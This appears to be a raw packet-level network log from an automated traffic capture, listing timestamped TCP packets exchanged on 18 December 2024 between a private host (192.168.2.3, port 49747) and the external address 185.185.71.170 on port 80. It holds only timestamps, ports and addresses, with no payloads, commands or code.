Dec 18, 2024 20:56:34.182490110 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.315433025 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.315568924 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.315613985 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.315922022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.316214085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.316256046 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.316354990 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.317380905 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.317429066 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.317461967 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.318428993 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.318475008 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.318550110 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.320027113 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.320066929 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.320125103 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.320697069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.320744038 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.320894003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.322268963 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.322309971 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.322516918 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.323338985 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.323405027 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.323412895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.324148893 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.324196100 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.324251890 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.325118065 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.325208902 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.325241089 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.326118946 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.326230049 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.326231003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.327519894 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.327568054 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.327615976 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.328334093 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.328435898 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.328526974 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.329479933 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.329524040 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.329668999 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.330708027 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.330760956 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.330771923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.331662893 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.331720114 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.331813097 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.332927942 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.332971096 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.333024979 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.333956003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.334002018 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.334053993 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.335031033 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.335180998 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.335227966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.336185932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.336237907 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.336297989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.337256908 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.337301016 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.337336063 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.338263035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.338306904 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.338365078 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.339443922 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.339482069 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.339546919 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.340572119 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.340625048 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.340626001 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.341707945 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.341761112 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.341794968 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.342698097 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.342739105 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.342802048 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.343810081 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.343851089 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.343965054 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.344906092 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.345104933 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.345141888 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.346075058 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.346120119 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.346321106 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.347129107 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.347170115 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.347219944 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.348249912 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.348290920 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.348340988 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.349392891 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.349473953 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.349483013 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.350577116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.350620031 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.350939035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.351536036 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.351618052 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.351624012 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.352624893 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.352669001 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.352778912 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.353049040 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.353830099 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.353878021 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.353935003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.354950905 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.354990959 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.355036020 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.356199980 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.356234074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.356251001 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.357263088 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.357301950 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.357450962 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.358365059 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.358544111 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.358594894 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.359323025 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.359368086 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.359471083 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.360491037 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.360536098 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.360593081 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.361530066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.361579895 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.361639977 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.362695932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.362839937 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.362948895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.363838911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.363931894 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.363969088 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.364909887 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.364952087 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.365024090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.366014004 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.366067886 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.366092920 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.367086887 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.367135048 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.367201090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.368160009 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.368204117 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.368272066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.369306087 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.369384050 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.369430065 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.370986938 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.371043921 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.371081114 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.371543884 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.371583939 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.371674061 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.372730970 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.372798920 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.372853041 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.373447895 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.373733044 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.373789072 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.507489920 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.507595062 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.507671118 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.507914066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.508227110 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.508271933 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.508342981 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.509469032 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.509593010 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.509639978 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.510459900 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.510549068 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.510561943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.511507034 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.511562109 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.511630058 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.512630939 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.512686014 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.512696981 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.513735056 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.513786077 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.513842106 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.514815092 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.514971018 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.515014887 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.515942097 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.516072035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.516115904 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.517034054 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.517081976 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.517189026 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.518197060 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.518239021 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.518286943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.519263029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.519330025 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.519372940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.520401001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.520442009 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.520509005 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.521655083 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.521703005 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.521755934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.522670031 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.522711992 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.522764921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.523734093 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.523777962 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.523848057 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.524801016 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.524888992 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.524908066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.525904894 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.525957108 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.526029110 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.527013063 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.527053118 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.527160883 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.528143883 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.528203964 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.528239965 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.529257059 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.529319048 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.529366970 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.530386925 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.530466080 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.530508995 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.531537056 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.531590939 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.531624079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.532589912 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.532649040 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.532694101 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.533669949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.533761024 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.533807993 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.534759998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.534820080 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.534883976 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.535887957 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.535939932 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.535996914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.536987066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.537043095 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.537096977 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.538125038 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.538256884 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.538279057 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.539290905 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.539340019 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.539412975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.540355921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.540411949 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.540615082 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.541455030 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.541534901 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.541549921 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.542567968 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.542633057 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.542687893 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.543047905 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.543644905 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.543689966 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.543749094 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.544744015 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.544787884 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.544833899 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.545883894 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.545932055 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.545977116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.546967030 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.547075033 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.547115088 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.549196005 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.549232960 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.549345016 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.549664974 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.549676895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.549712896 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.550450087 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.550487995 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.550601959 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.551472902 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.551584005 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.551589012 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.552608967 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.552653074 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.552764893 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.553797007 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.553936958 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.553994894 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.554841995 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.554874897 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.554914951 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.555841923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.555886030 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.555933952 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.556932926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.557020903 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.557105064 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.558841944 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.558854103 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.558907032 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.559238911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.559348106 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.559452057 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.560312033 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.560354948 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.560426950 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.561384916 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.561429024 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.561469078 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.563468933 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.563482046 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.563507080 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.563882113 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.563997030 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.564088106 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.564793110 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.564915895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.564958096 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.565896034 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.566025972 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.566934109 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.699716091 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.699768066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.699830055 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.700059891 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.700232029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.700292110 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.701147079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.701229095 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.701523066 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.702234030 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.702322960 CET	80	49747	185.185.71.170	192.168.2.3
